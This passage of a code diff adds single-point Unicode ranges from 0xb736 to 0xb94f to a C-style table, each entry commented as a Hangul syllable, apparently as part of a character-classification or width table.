+ [0xb736, 0xb736], /* Hangul Syllable */
+ [0xb737, 0xb737], /* Hangul Syllable */
+ [0xb738, 0xb738], /* Hangul Syllable */
+ [0xb739, 0xb739], /* Hangul Syllable */
+ [0xb73a, 0xb73a], /* Hangul Syllable */
+ [0xb73b, 0xb73b], /* Hangul Syllable */
+ [0xb73c, 0xb73c], /* Hangul Syllable */
+ [0xb73d, 0xb73d], /* Hangul Syllable */
+ [0xb73e, 0xb73e], /* Hangul Syllable */
+ [0xb73f, 0xb73f], /* Hangul Syllable */
+ [0xb740, 0xb740], /* Hangul Syllable */
+ [0xb741, 0xb741], /* Hangul Syllable */
+ [0xb742, 0xb742], /* Hangul Syllable */
+ [0xb743, 0xb743], /* Hangul Syllable */
+ [0xb744, 0xb744], /* Hangul Syllable */
+ [0xb745, 0xb745], /* Hangul Syllable */
+ [0xb746, 0xb746], /* Hangul Syllable */
+ [0xb747, 0xb747], /* Hangul Syllable */
+ [0xb748, 0xb748], /* Hangul Syllable */
+ [0xb749, 0xb749], /* Hangul Syllable */
+ [0xb74a, 0xb74a], /* Hangul Syllable */
+ [0xb74b, 0xb74b], /* Hangul Syllable */
+ [0xb74c, 0xb74c], /* Hangul Syllable */
+ [0xb74d, 0xb74d], /* Hangul Syllable */
+ [0xb74e, 0xb74e], /* Hangul Syllable */
+ [0xb74f, 0xb74f], /* Hangul Syllable */
+ [0xb750, 0xb750], /* Hangul Syllable */
+ [0xb751, 0xb751], /* Hangul Syllable */
+ [0xb752, 0xb752], /* Hangul Syllable */
+ [0xb753, 0xb753], /* Hangul Syllable */
+ [0xb754, 0xb754], /* Hangul Syllable */
+ [0xb755, 0xb755], /* Hangul Syllable */
+ [0xb756, 0xb756], /* Hangul Syllable */
+ [0xb757, 0xb757], /* Hangul Syllable */
+ [0xb758, 0xb758], /* Hangul Syllable */
+ [0xb759, 0xb759], /* Hangul Syllable */
+ [0xb75a, 0xb75a], /* Hangul Syllable */
+ [0xb75b, 0xb75b], /* Hangul Syllable */
+ [0xb75c, 0xb75c], /* Hangul Syllable */
+ [0xb75d, 0xb75d], /* Hangul Syllable */
+ [0xb75e, 0xb75e], /* Hangul Syllable */
+ [0xb75f, 0xb75f], /* Hangul Syllable */
+ [0xb760, 0xb760], /* Hangul Syllable */
+ [0xb761, 0xb761], /* Hangul Syllable */
+ [0xb762, 0xb762], /* Hangul Syllable */
+ [0xb763, 0xb763], /* Hangul Syllable */
+ [0xb764, 0xb764], /* Hangul Syllable */
+ [0xb765, 0xb765], /* Hangul Syllable */
+ [0xb766, 0xb766], /* Hangul Syllable */
+ [0xb767, 0xb767], /* Hangul Syllable */
+ [0xb768, 0xb768], /* Hangul Syllable */
+ [0xb769, 0xb769], /* Hangul Syllable */
+ [0xb76a, 0xb76a], /* Hangul Syllable */
+ [0xb76b, 0xb76b], /* Hangul Syllable */
+ [0xb76c, 0xb76c], /* Hangul Syllable */
+ [0xb76d, 0xb76d], /* Hangul Syllable */
+ [0xb76e, 0xb76e], /* Hangul Syllable */
+ [0xb76f, 0xb76f], /* Hangul Syllable */
+ [0xb770, 0xb770], /* Hangul Syllable */
+ [0xb771, 0xb771], /* Hangul Syllable */
+ [0xb772, 0xb772], /* Hangul Syllable */
+ [0xb773, 0xb773], /* Hangul Syllable */
+ [0xb774, 0xb774], /* Hangul Syllable */
+ [0xb775, 0xb775], /* Hangul Syllable */
+ [0xb776, 0xb776], /* Hangul Syllable */
+ [0xb777, 0xb777], /* Hangul Syllable */
+ [0xb778, 0xb778], /* Hangul Syllable */
+ [0xb779, 0xb779], /* Hangul Syllable */
+ [0xb77a, 0xb77a], /* Hangul Syllable */
+ [0xb77b, 0xb77b], /* Hangul Syllable */
+ [0xb77c, 0xb77c], /* Hangul Syllable */
+ [0xb77d, 0xb77d], /* Hangul Syllable */
+ [0xb77e, 0xb77e], /* Hangul Syllable */
+ [0xb77f, 0xb77f], /* Hangul Syllable */
+ [0xb780, 0xb780], /* Hangul Syllable */
+ [0xb781, 0xb781], /* Hangul Syllable */
+ [0xb782, 0xb782], /* Hangul Syllable */
+ [0xb783, 0xb783], /* Hangul Syllable */
+ [0xb784, 0xb784], /* Hangul Syllable */
+ [0xb785, 0xb785], /* Hangul Syllable */
+ [0xb786, 0xb786], /* Hangul Syllable */
+ [0xb787, 0xb787], /* Hangul Syllable */
+ [0xb788, 0xb788], /* Hangul Syllable */
+ [0xb789, 0xb789], /* Hangul Syllable */
+ [0xb78a, 0xb78a], /* Hangul Syllable */
+ [0xb78b, 0xb78b], /* Hangul Syllable */
+ [0xb78c, 0xb78c], /* Hangul Syllable */
+ [0xb78d, 0xb78d], /* Hangul Syllable */
+ [0xb78e, 0xb78e], /* Hangul Syllable */
+ [0xb78f, 0xb78f], /* Hangul Syllable */
+ [0xb790, 0xb790], /* Hangul Syllable */
+ [0xb791, 0xb791], /* Hangul Syllable */
+ [0xb792, 0xb792], /* Hangul Syllable */
+ [0xb793, 0xb793], /* Hangul Syllable */
+ [0xb794, 0xb794], /* Hangul Syllable */
+ [0xb795, 0xb795], /* Hangul Syllable */
+ [0xb796, 0xb796], /* Hangul Syllable */
+ [0xb797, 0xb797], /* Hangul Syllable */
+ [0xb798, 0xb798], /* Hangul Syllable */
+ [0xb799, 0xb799], /* Hangul Syllable */
+ [0xb79a, 0xb79a], /* Hangul Syllable */
+ [0xb79b, 0xb79b], /* Hangul Syllable */
+ [0xb79c, 0xb79c], /* Hangul Syllable */
+ [0xb79d, 0xb79d], /* Hangul Syllable */
+ [0xb79e, 0xb79e], /* Hangul Syllable */
+ [0xb79f, 0xb79f], /* Hangul Syllable */
+ [0xb7a0, 0xb7a0], /* Hangul Syllable */
+ [0xb7a1, 0xb7a1], /* Hangul Syllable */
+ [0xb7a2, 0xb7a2], /* Hangul Syllable */
+ [0xb7a3, 0xb7a3], /* Hangul Syllable */
+ [0xb7a4, 0xb7a4], /* Hangul Syllable */
+ [0xb7a5, 0xb7a5], /* Hangul Syllable */
+ [0xb7a6, 0xb7a6], /* Hangul Syllable */
+ [0xb7a7, 0xb7a7], /* Hangul Syllable */
+ [0xb7a8, 0xb7a8], /* Hangul Syllable */
+ [0xb7a9, 0xb7a9], /* Hangul Syllable */
+ [0xb7aa, 0xb7aa], /* Hangul Syllable */
+ [0xb7ab, 0xb7ab], /* Hangul Syllable */
+ [0xb7ac, 0xb7ac], /* Hangul Syllable */
+ [0xb7ad, 0xb7ad], /* Hangul Syllable */
+ [0xb7ae, 0xb7ae], /* Hangul Syllable */
+ [0xb7af, 0xb7af], /* Hangul Syllable */
+ [0xb7b0, 0xb7b0], /* Hangul Syllable */
+ [0xb7b1, 0xb7b1], /* Hangul Syllable */
+ [0xb7b2, 0xb7b2], /* Hangul Syllable */
+ [0xb7b3, 0xb7b3], /* Hangul Syllable */
+ [0xb7b4, 0xb7b4], /* Hangul Syllable */
+ [0xb7b5, 0xb7b5], /* Hangul Syllable */
+ [0xb7b6, 0xb7b6], /* Hangul Syllable */
+ [0xb7b7, 0xb7b7], /* Hangul Syllable */
+ [0xb7b8, 0xb7b8], /* Hangul Syllable */
+ [0xb7b9, 0xb7b9], /* Hangul Syllable */
+ [0xb7ba, 0xb7ba], /* Hangul Syllable */
+ [0xb7bb, 0xb7bb], /* Hangul Syllable */
+ [0xb7bc, 0xb7bc], /* Hangul Syllable */
+ [0xb7bd, 0xb7bd], /* Hangul Syllable */
+ [0xb7be, 0xb7be], /* Hangul Syllable */
+ [0xb7bf, 0xb7bf], /* Hangul Syllable */
+ [0xb7c0, 0xb7c0], /* Hangul Syllable */
+ [0xb7c1, 0xb7c1], /* Hangul Syllable */
+ [0xb7c2, 0xb7c2], /* Hangul Syllable */
+ [0xb7c3, 0xb7c3], /* Hangul Syllable */
+ [0xb7c4, 0xb7c4], /* Hangul Syllable */
+ [0xb7c5, 0xb7c5], /* Hangul Syllable */
+ [0xb7c6, 0xb7c6], /* Hangul Syllable */
+ [0xb7c7, 0xb7c7], /* Hangul Syllable */
+ [0xb7c8, 0xb7c8], /* Hangul Syllable */
+ [0xb7c9, 0xb7c9], /* Hangul Syllable */
+ [0xb7ca, 0xb7ca], /* Hangul Syllable */
+ [0xb7cb, 0xb7cb], /* Hangul Syllable */
+ [0xb7cc, 0xb7cc], /* Hangul Syllable */
+ [0xb7cd, 0xb7cd], /* Hangul Syllable */
+ [0xb7ce, 0xb7ce], /* Hangul Syllable */
+ [0xb7cf, 0xb7cf], /* Hangul Syllable */
+ [0xb7d0, 0xb7d0], /* Hangul Syllable */
+ [0xb7d1, 0xb7d1], /* Hangul Syllable */
+ [0xb7d2, 0xb7d2], /* Hangul Syllable */
+ [0xb7d3, 0xb7d3], /* Hangul Syllable */
+ [0xb7d4, 0xb7d4], /* Hangul Syllable */
+ [0xb7d5, 0xb7d5], /* Hangul Syllable */
+ [0xb7d6, 0xb7d6], /* Hangul Syllable */
+ [0xb7d7, 0xb7d7], /* Hangul Syllable */
+ [0xb7d8, 0xb7d8], /* Hangul Syllable */
+ [0xb7d9, 0xb7d9], /* Hangul Syllable */
+ [0xb7da, 0xb7da], /* Hangul Syllable */
+ [0xb7db, 0xb7db], /* Hangul Syllable */
+ [0xb7dc, 0xb7dc], /* Hangul Syllable */
+ [0xb7dd, 0xb7dd], /* Hangul Syllable */
+ [0xb7de, 0xb7de], /* Hangul Syllable */
+ [0xb7df, 0xb7df], /* Hangul Syllable */
+ [0xb7e0, 0xb7e0], /* Hangul Syllable */
+ [0xb7e1, 0xb7e1], /* Hangul Syllable */
+ [0xb7e2, 0xb7e2], /* Hangul Syllable */
+ [0xb7e3, 0xb7e3], /* Hangul Syllable */
+ [0xb7e4, 0xb7e4], /* Hangul Syllable */
+ [0xb7e5, 0xb7e5], /* Hangul Syllable */
+ [0xb7e6, 0xb7e6], /* Hangul Syllable */
+ [0xb7e7, 0xb7e7], /* Hangul Syllable */
+ [0xb7e8, 0xb7e8], /* Hangul Syllable */
+ [0xb7e9, 0xb7e9], /* Hangul Syllable */
+ [0xb7ea, 0xb7ea], /* Hangul Syllable */
+ [0xb7eb, 0xb7eb], /* Hangul Syllable */
+ [0xb7ec, 0xb7ec], /* Hangul Syllable */
+ [0xb7ed, 0xb7ed], /* Hangul Syllable */
+ [0xb7ee, 0xb7ee], /* Hangul Syllable */
+ [0xb7ef, 0xb7ef], /* Hangul Syllable */
+ [0xb7f0, 0xb7f0], /* Hangul Syllable */
+ [0xb7f1, 0xb7f1], /* Hangul Syllable */
+ [0xb7f2, 0xb7f2], /* Hangul Syllable */
+ [0xb7f3, 0xb7f3], /* Hangul Syllable */
+ [0xb7f4, 0xb7f4], /* Hangul Syllable */
+ [0xb7f5, 0xb7f5], /* Hangul Syllable */
+ [0xb7f6, 0xb7f6], /* Hangul Syllable */
+ [0xb7f7, 0xb7f7], /* Hangul Syllable */
+ [0xb7f8, 0xb7f8], /* Hangul Syllable */
+ [0xb7f9, 0xb7f9], /* Hangul Syllable */
+ [0xb7fa, 0xb7fa], /* Hangul Syllable */
+ [0xb7fb, 0xb7fb], /* Hangul Syllable */
+ [0xb7fc, 0xb7fc], /* Hangul Syllable */
+ [0xb7fd, 0xb7fd], /* Hangul Syllable */
+ [0xb7fe, 0xb7fe], /* Hangul Syllable */
+ [0xb7ff, 0xb7ff], /* Hangul Syllable */
+ [0xb800, 0xb800], /* Hangul Syllable */
+ [0xb801, 0xb801], /* Hangul Syllable */
+ [0xb802, 0xb802], /* Hangul Syllable */
+ [0xb803, 0xb803], /* Hangul Syllable */
+ [0xb804, 0xb804], /* Hangul Syllable */
+ [0xb805, 0xb805], /* Hangul Syllable */
+ [0xb806, 0xb806], /* Hangul Syllable */
+ [0xb807, 0xb807], /* Hangul Syllable */
+ [0xb808, 0xb808], /* Hangul Syllable */
+ [0xb809, 0xb809], /* Hangul Syllable */
+ [0xb80a, 0xb80a], /* Hangul Syllable */
+ [0xb80b, 0xb80b], /* Hangul Syllable */
+ [0xb80c, 0xb80c], /* Hangul Syllable */
+ [0xb80d, 0xb80d], /* Hangul Syllable */
+ [0xb80e, 0xb80e], /* Hangul Syllable */
+ [0xb80f, 0xb80f], /* Hangul Syllable */
+ [0xb810, 0xb810], /* Hangul Syllable */
+ [0xb811, 0xb811], /* Hangul Syllable */
+ [0xb812, 0xb812], /* Hangul Syllable */
+ [0xb813, 0xb813], /* Hangul Syllable */
+ [0xb814, 0xb814], /* Hangul Syllable */
+ [0xb815, 0xb815], /* Hangul Syllable */
+ [0xb816, 0xb816], /* Hangul Syllable */
+ [0xb817, 0xb817], /* Hangul Syllable */
+ [0xb818, 0xb818], /* Hangul Syllable */
+ [0xb819, 0xb819], /* Hangul Syllable */
+ [0xb81a, 0xb81a], /* Hangul Syllable */
+ [0xb81b, 0xb81b], /* Hangul Syllable */
+ [0xb81c, 0xb81c], /* Hangul Syllable */
+ [0xb81d, 0xb81d], /* Hangul Syllable */
+ [0xb81e, 0xb81e], /* Hangul Syllable */
+ [0xb81f, 0xb81f], /* Hangul Syllable */
+ [0xb820, 0xb820], /* Hangul Syllable */
+ [0xb821, 0xb821], /* Hangul Syllable */
+ [0xb822, 0xb822], /* Hangul Syllable */
+ [0xb823, 0xb823], /* Hangul Syllable */
+ [0xb824, 0xb824], /* Hangul Syllable */
+ [0xb825, 0xb825], /* Hangul Syllable */
+ [0xb826, 0xb826], /* Hangul Syllable */
+ [0xb827, 0xb827], /* Hangul Syllable */
+ [0xb828, 0xb828], /* Hangul Syllable */
+ [0xb829, 0xb829], /* Hangul Syllable */
+ [0xb82a, 0xb82a], /* Hangul Syllable */
+ [0xb82b, 0xb82b], /* Hangul Syllable */
+ [0xb82c, 0xb82c], /* Hangul Syllable */
+ [0xb82d, 0xb82d], /* Hangul Syllable */
+ [0xb82e, 0xb82e], /* Hangul Syllable */
+ [0xb82f, 0xb82f], /* Hangul Syllable */
+ [0xb830, 0xb830], /* Hangul Syllable */
+ [0xb831, 0xb831], /* Hangul Syllable */
+ [0xb832, 0xb832], /* Hangul Syllable */
+ [0xb833, 0xb833], /* Hangul Syllable */
+ [0xb834, 0xb834], /* Hangul Syllable */
+ [0xb835, 0xb835], /* Hangul Syllable */
+ [0xb836, 0xb836], /* Hangul Syllable */
+ [0xb837, 0xb837], /* Hangul Syllable */
+ [0xb838, 0xb838], /* Hangul Syllable */
+ [0xb839, 0xb839], /* Hangul Syllable */
+ [0xb83a, 0xb83a], /* Hangul Syllable */
+ [0xb83b, 0xb83b], /* Hangul Syllable */
+ [0xb83c, 0xb83c], /* Hangul Syllable */
+ [0xb83d, 0xb83d], /* Hangul Syllable */
+ [0xb83e, 0xb83e], /* Hangul Syllable */
+ [0xb83f, 0xb83f], /* Hangul Syllable */
+ [0xb840, 0xb840], /* Hangul Syllable */
+ [0xb841, 0xb841], /* Hangul Syllable */
+ [0xb842, 0xb842], /* Hangul Syllable */
+ [0xb843, 0xb843], /* Hangul Syllable */
+ [0xb844, 0xb844], /* Hangul Syllable */
+ [0xb845, 0xb845], /* Hangul Syllable */
+ [0xb846, 0xb846], /* Hangul Syllable */
+ [0xb847, 0xb847], /* Hangul Syllable */
+ [0xb848, 0xb848], /* Hangul Syllable */
+ [0xb849, 0xb849], /* Hangul Syllable */
+ [0xb84a, 0xb84a], /* Hangul Syllable */
+ [0xb84b, 0xb84b], /* Hangul Syllable */
+ [0xb84c, 0xb84c], /* Hangul Syllable */
+ [0xb84d, 0xb84d], /* Hangul Syllable */
+ [0xb84e, 0xb84e], /* Hangul Syllable */
+ [0xb84f, 0xb84f], /* Hangul Syllable */
+ [0xb850, 0xb850], /* Hangul Syllable */
+ [0xb851, 0xb851], /* Hangul Syllable */
+ [0xb852, 0xb852], /* Hangul Syllable */
+ [0xb853, 0xb853], /* Hangul Syllable */
+ [0xb854, 0xb854], /* Hangul Syllable */
+ [0xb855, 0xb855], /* Hangul Syllable */
+ [0xb856, 0xb856], /* Hangul Syllable */
+ [0xb857, 0xb857], /* Hangul Syllable */
+ [0xb858, 0xb858], /* Hangul Syllable */
+ [0xb859, 0xb859], /* Hangul Syllable */
+ [0xb85a, 0xb85a], /* Hangul Syllable */
+ [0xb85b, 0xb85b], /* Hangul Syllable */
+ [0xb85c, 0xb85c], /* Hangul Syllable */
+ [0xb85d, 0xb85d], /* Hangul Syllable */
+ [0xb85e, 0xb85e], /* Hangul Syllable */
+ [0xb85f, 0xb85f], /* Hangul Syllable */
+ [0xb860, 0xb860], /* Hangul Syllable */
+ [0xb861, 0xb861], /* Hangul Syllable */
+ [0xb862, 0xb862], /* Hangul Syllable */
+ [0xb863, 0xb863], /* Hangul Syllable */
+ [0xb864, 0xb864], /* Hangul Syllable */
+ [0xb865, 0xb865], /* Hangul Syllable */
+ [0xb866, 0xb866], /* Hangul Syllable */
+ [0xb867, 0xb867], /* Hangul Syllable */
+ [0xb868, 0xb868], /* Hangul Syllable */
+ [0xb869, 0xb869], /* Hangul Syllable */
+ [0xb86a, 0xb86a], /* Hangul Syllable */
+ [0xb86b, 0xb86b], /* Hangul Syllable */
+ [0xb86c, 0xb86c], /* Hangul Syllable */
+ [0xb86d, 0xb86d], /* Hangul Syllable */
+ [0xb86e, 0xb86e], /* Hangul Syllable */
+ [0xb86f, 0xb86f], /* Hangul Syllable */
+ [0xb870, 0xb870], /* Hangul Syllable */
+ [0xb871, 0xb871], /* Hangul Syllable */
+ [0xb872, 0xb872], /* Hangul Syllable */
+ [0xb873, 0xb873], /* Hangul Syllable */
+ [0xb874, 0xb874], /* Hangul Syllable */
+ [0xb875, 0xb875], /* Hangul Syllable */
+ [0xb876, 0xb876], /* Hangul Syllable */
+ [0xb877, 0xb877], /* Hangul Syllable */
+ [0xb878, 0xb878], /* Hangul Syllable */
+ [0xb879, 0xb879], /* Hangul Syllable */
+ [0xb87a, 0xb87a], /* Hangul Syllable */
+ [0xb87b, 0xb87b], /* Hangul Syllable */
+ [0xb87c, 0xb87c], /* Hangul Syllable */
+ [0xb87d, 0xb87d], /* Hangul Syllable */
+ [0xb87e, 0xb87e], /* Hangul Syllable */
+ [0xb87f, 0xb87f], /* Hangul Syllable */
+ [0xb880, 0xb880], /* Hangul Syllable */
+ [0xb881, 0xb881], /* Hangul Syllable */
+ [0xb882, 0xb882], /* Hangul Syllable */
+ [0xb883, 0xb883], /* Hangul Syllable */
+ [0xb884, 0xb884], /* Hangul Syllable */
+ [0xb885, 0xb885], /* Hangul Syllable */
+ [0xb886, 0xb886], /* Hangul Syllable */
+ [0xb887, 0xb887], /* Hangul Syllable */
+ [0xb888, 0xb888], /* Hangul Syllable */
+ [0xb889, 0xb889], /* Hangul Syllable */
+ [0xb88a, 0xb88a], /* Hangul Syllable */
+ [0xb88b, 0xb88b], /* Hangul Syllable */
+ [0xb88c, 0xb88c], /* Hangul Syllable */
+ [0xb88d, 0xb88d], /* Hangul Syllable */
+ [0xb88e, 0xb88e], /* Hangul Syllable */
+ [0xb88f, 0xb88f], /* Hangul Syllable */
+ [0xb890, 0xb890], /* Hangul Syllable */
+ [0xb891, 0xb891], /* Hangul Syllable */
+ [0xb892, 0xb892], /* Hangul Syllable */
+ [0xb893, 0xb893], /* Hangul Syllable */
+ [0xb894, 0xb894], /* Hangul Syllable */
+ [0xb895, 0xb895], /* Hangul Syllable */
+ [0xb896, 0xb896], /* Hangul Syllable */
+ [0xb897, 0xb897], /* Hangul Syllable */
+ [0xb898, 0xb898], /* Hangul Syllable */
+ [0xb899, 0xb899], /* Hangul Syllable */
+ [0xb89a, 0xb89a], /* Hangul Syllable */
+ [0xb89b, 0xb89b], /* Hangul Syllable */
+ [0xb89c, 0xb89c], /* Hangul Syllable */
+ [0xb89d, 0xb89d], /* Hangul Syllable */
+ [0xb89e, 0xb89e], /* Hangul Syllable */
+ [0xb89f, 0xb89f], /* Hangul Syllable */
+ [0xb8a0, 0xb8a0], /* Hangul Syllable */
+ [0xb8a1, 0xb8a1], /* Hangul Syllable */
+ [0xb8a2, 0xb8a2], /* Hangul Syllable */
+ [0xb8a3, 0xb8a3], /* Hangul Syllable */
+ [0xb8a4, 0xb8a4], /* Hangul Syllable */
+ [0xb8a5, 0xb8a5], /* Hangul Syllable */
+ [0xb8a6, 0xb8a6], /* Hangul Syllable */
+ [0xb8a7, 0xb8a7], /* Hangul Syllable */
+ [0xb8a8, 0xb8a8], /* Hangul Syllable */
+ [0xb8a9, 0xb8a9], /* Hangul Syllable */
+ [0xb8aa, 0xb8aa], /* Hangul Syllable */
+ [0xb8ab, 0xb8ab], /* Hangul Syllable */
+ [0xb8ac, 0xb8ac], /* Hangul Syllable */
+ [0xb8ad, 0xb8ad], /* Hangul Syllable */
+ [0xb8ae, 0xb8ae], /* Hangul Syllable */
+ [0xb8af, 0xb8af], /* Hangul Syllable */
+ [0xb8b0, 0xb8b0], /* Hangul Syllable */
+ [0xb8b1, 0xb8b1], /* Hangul Syllable */
+ [0xb8b2, 0xb8b2], /* Hangul Syllable */
+ [0xb8b3, 0xb8b3], /* Hangul Syllable */
+ [0xb8b4, 0xb8b4], /* Hangul Syllable */
+ [0xb8b5, 0xb8b5], /* Hangul Syllable */
+ [0xb8b6, 0xb8b6], /* Hangul Syllable */
+ [0xb8b7, 0xb8b7], /* Hangul Syllable */
+ [0xb8b8, 0xb8b8], /* Hangul Syllable */
+ [0xb8b9, 0xb8b9], /* Hangul Syllable */
+ [0xb8ba, 0xb8ba], /* Hangul Syllable */
+ [0xb8bb, 0xb8bb], /* Hangul Syllable */
+ [0xb8bc, 0xb8bc], /* Hangul Syllable */
+ [0xb8bd, 0xb8bd], /* Hangul Syllable */
+ [0xb8be, 0xb8be], /* Hangul Syllable */
+ [0xb8bf, 0xb8bf], /* Hangul Syllable */
+ [0xb8c0, 0xb8c0], /* Hangul Syllable */
+ [0xb8c1, 0xb8c1], /* Hangul Syllable */
+ [0xb8c2, 0xb8c2], /* Hangul Syllable */
+ [0xb8c3, 0xb8c3], /* Hangul Syllable */
+ [0xb8c4, 0xb8c4], /* Hangul Syllable */
+ [0xb8c5, 0xb8c5], /* Hangul Syllable */
+ [0xb8c6, 0xb8c6], /* Hangul Syllable */
+ [0xb8c7, 0xb8c7], /* Hangul Syllable */
+ [0xb8c8, 0xb8c8], /* Hangul Syllable */
+ [0xb8c9, 0xb8c9], /* Hangul Syllable */
+ [0xb8ca, 0xb8ca], /* Hangul Syllable */
+ [0xb8cb, 0xb8cb], /* Hangul Syllable */
+ [0xb8cc, 0xb8cc], /* Hangul Syllable */
+ [0xb8cd, 0xb8cd], /* Hangul Syllable */
+ [0xb8ce, 0xb8ce], /* Hangul Syllable */
+ [0xb8cf, 0xb8cf], /* Hangul Syllable */
+ [0xb8d0, 0xb8d0], /* Hangul Syllable */
+ [0xb8d1, 0xb8d1], /* Hangul Syllable */
+ [0xb8d2, 0xb8d2], /* Hangul Syllable */
+ [0xb8d3, 0xb8d3], /* Hangul Syllable */
+ [0xb8d4, 0xb8d4], /* Hangul Syllable */
+ [0xb8d5, 0xb8d5], /* Hangul Syllable */
+ [0xb8d6, 0xb8d6], /* Hangul Syllable */
+ [0xb8d7, 0xb8d7], /* Hangul Syllable */
+ [0xb8d8, 0xb8d8], /* Hangul Syllable */
+ [0xb8d9, 0xb8d9], /* Hangul Syllable */
+ [0xb8da, 0xb8da], /* Hangul Syllable */
+ [0xb8db, 0xb8db], /* Hangul Syllable */
+ [0xb8dc, 0xb8dc], /* Hangul Syllable */
+ [0xb8dd, 0xb8dd], /* Hangul Syllable */
+ [0xb8de, 0xb8de], /* Hangul Syllable */
+ [0xb8df, 0xb8df], /* Hangul Syllable */
+ [0xb8e0, 0xb8e0], /* Hangul Syllable */
+ [0xb8e1, 0xb8e1], /* Hangul Syllable */
+ [0xb8e2, 0xb8e2], /* Hangul Syllable */
+ [0xb8e3, 0xb8e3], /* Hangul Syllable */
+ [0xb8e4, 0xb8e4], /* Hangul Syllable */
+ [0xb8e5, 0xb8e5], /* Hangul Syllable */
+ [0xb8e6, 0xb8e6], /* Hangul Syllable */
+ [0xb8e7, 0xb8e7], /* Hangul Syllable */
+ [0xb8e8, 0xb8e8], /* Hangul Syllable */
+ [0xb8e9, 0xb8e9], /* Hangul Syllable */
+ [0xb8ea, 0xb8ea], /* Hangul Syllable */
+ [0xb8eb, 0xb8eb], /* Hangul Syllable */
+ [0xb8ec, 0xb8ec], /* Hangul Syllable */
+ [0xb8ed, 0xb8ed], /* Hangul Syllable */
+ [0xb8ee, 0xb8ee], /* Hangul Syllable */
+ [0xb8ef, 0xb8ef], /* Hangul Syllable */
+ [0xb8f0, 0xb8f0], /* Hangul Syllable */
+ [0xb8f1, 0xb8f1], /* Hangul Syllable */
+ [0xb8f2, 0xb8f2], /* Hangul Syllable */
+ [0xb8f3, 0xb8f3], /* Hangul Syllable */
+ [0xb8f4, 0xb8f4], /* Hangul Syllable */
+ [0xb8f5, 0xb8f5], /* Hangul Syllable */
+ [0xb8f6, 0xb8f6], /* Hangul Syllable */
+ [0xb8f7, 0xb8f7], /* Hangul Syllable */
+ [0xb8f8, 0xb8f8], /* Hangul Syllable */
+ [0xb8f9, 0xb8f9], /* Hangul Syllable */
+ [0xb8fa, 0xb8fa], /* Hangul Syllable */
+ [0xb8fb, 0xb8fb], /* Hangul Syllable */
+ [0xb8fc, 0xb8fc], /* Hangul Syllable */
+ [0xb8fd, 0xb8fd], /* Hangul Syllable */
+ [0xb8fe, 0xb8fe], /* Hangul Syllable */
+ [0xb8ff, 0xb8ff], /* Hangul Syllable */
+ [0xb900, 0xb900], /* Hangul Syllable */
+ [0xb901, 0xb901], /* Hangul Syllable */
+ [0xb902, 0xb902], /* Hangul Syllable */
+ [0xb903, 0xb903], /* Hangul Syllable */
+ [0xb904, 0xb904], /* Hangul Syllable */
+ [0xb905, 0xb905], /* Hangul Syllable */
+ [0xb906, 0xb906], /* Hangul Syllable */
+ [0xb907, 0xb907], /* Hangul Syllable */
+ [0xb908, 0xb908], /* Hangul Syllable */
+ [0xb909, 0xb909], /* Hangul Syllable */
+ [0xb90a, 0xb90a], /* Hangul Syllable */
+ [0xb90b, 0xb90b], /* Hangul Syllable */
+ [0xb90c, 0xb90c], /* Hangul Syllable */
+ [0xb90d, 0xb90d], /* Hangul Syllable */
+ [0xb90e, 0xb90e], /* Hangul Syllable */
+ [0xb90f, 0xb90f], /* Hangul Syllable */
+ [0xb910, 0xb910], /* Hangul Syllable */
+ [0xb911, 0xb911], /* Hangul Syllable */
+ [0xb912, 0xb912], /* Hangul Syllable */
+ [0xb913, 0xb913], /* Hangul Syllable */
+ [0xb914, 0xb914], /* Hangul Syllable */
+ [0xb915, 0xb915], /* Hangul Syllable */
+ [0xb916, 0xb916], /* Hangul Syllable */
+ [0xb917, 0xb917], /* Hangul Syllable */
+ [0xb918, 0xb918], /* Hangul Syllable */
+ [0xb919, 0xb919], /* Hangul Syllable */
+ [0xb91a, 0xb91a], /* Hangul Syllable */
+ [0xb91b, 0xb91b], /* Hangul Syllable */
+ [0xb91c, 0xb91c], /* Hangul Syllable */
+ [0xb91d, 0xb91d], /* Hangul Syllable */
+ [0xb91e, 0xb91e], /* Hangul Syllable */
+ [0xb91f, 0xb91f], /* Hangul Syllable */
+ [0xb920, 0xb920], /* Hangul Syllable */
+ [0xb921, 0xb921], /* Hangul Syllable */
+ [0xb922, 0xb922], /* Hangul Syllable */
+ [0xb923, 0xb923], /* Hangul Syllable */
+ [0xb924, 0xb924], /* Hangul Syllable */
+ [0xb925, 0xb925], /* Hangul Syllable */
+ [0xb926, 0xb926], /* Hangul Syllable */
+ [0xb927, 0xb927], /* Hangul Syllable */
+ [0xb928, 0xb928], /* Hangul Syllable */
+ [0xb929, 0xb929], /* Hangul Syllable */
+ [0xb92a, 0xb92a], /* Hangul Syllable */
+ [0xb92b, 0xb92b], /* Hangul Syllable */
+ [0xb92c, 0xb92c], /* Hangul Syllable */
+ [0xb92d, 0xb92d], /* Hangul Syllable */
+ [0xb92e, 0xb92e], /* Hangul Syllable */
+ [0xb92f, 0xb92f], /* Hangul Syllable */
+ [0xb930, 0xb930], /* Hangul Syllable */
+ [0xb931, 0xb931], /* Hangul Syllable */
+ [0xb932, 0xb932], /* Hangul Syllable */
+ [0xb933, 0xb933], /* Hangul Syllable */
+ [0xb934, 0xb934], /* Hangul Syllable */
+ [0xb935, 0xb935], /* Hangul Syllable */
+ [0xb936, 0xb936], /* Hangul Syllable */
+ [0xb937, 0xb937], /* Hangul Syllable */
+ [0xb938, 0xb938], /* Hangul Syllable */
+ [0xb939, 0xb939], /* Hangul Syllable */
+ [0xb93a, 0xb93a], /* Hangul Syllable */
+ [0xb93b, 0xb93b], /* Hangul Syllable */
+ [0xb93c, 0xb93c], /* Hangul Syllable */
+ [0xb93d, 0xb93d], /* Hangul Syllable */
+ [0xb93e, 0xb93e], /* Hangul Syllable */
+ [0xb93f, 0xb93f], /* Hangul Syllable */
+ [0xb940, 0xb940], /* Hangul Syllable */
+ [0xb941, 0xb941], /* Hangul Syllable */
+ [0xb942, 0xb942], /* Hangul Syllable */
+ [0xb943, 0xb943], /* Hangul Syllable */
+ [0xb944, 0xb944], /* Hangul Syllable */
+ [0xb945, 0xb945], /* Hangul Syllable */
+ [0xb946, 0xb946], /* Hangul Syllable */
+ [0xb947, 0xb947], /* Hangul Syllable */
+ [0xb948, 0xb948], /* Hangul Syllable */
+ [0xb949, 0xb949], /* Hangul Syllable */
+ [0xb94a, 0xb94a], /* Hangul Syllable */
+ [0xb94b, 0xb94b], /* Hangul Syllable */
+ [0xb94c, 0xb94c], /* Hangul Syllable */
+ [0xb94d, 0xb94d], /* Hangul Syllable */
+ [0xb94e, 0xb94e], /* Hangul Syllable */
+ [0xb94f, 0xb94f], /* Hangul Syllable */
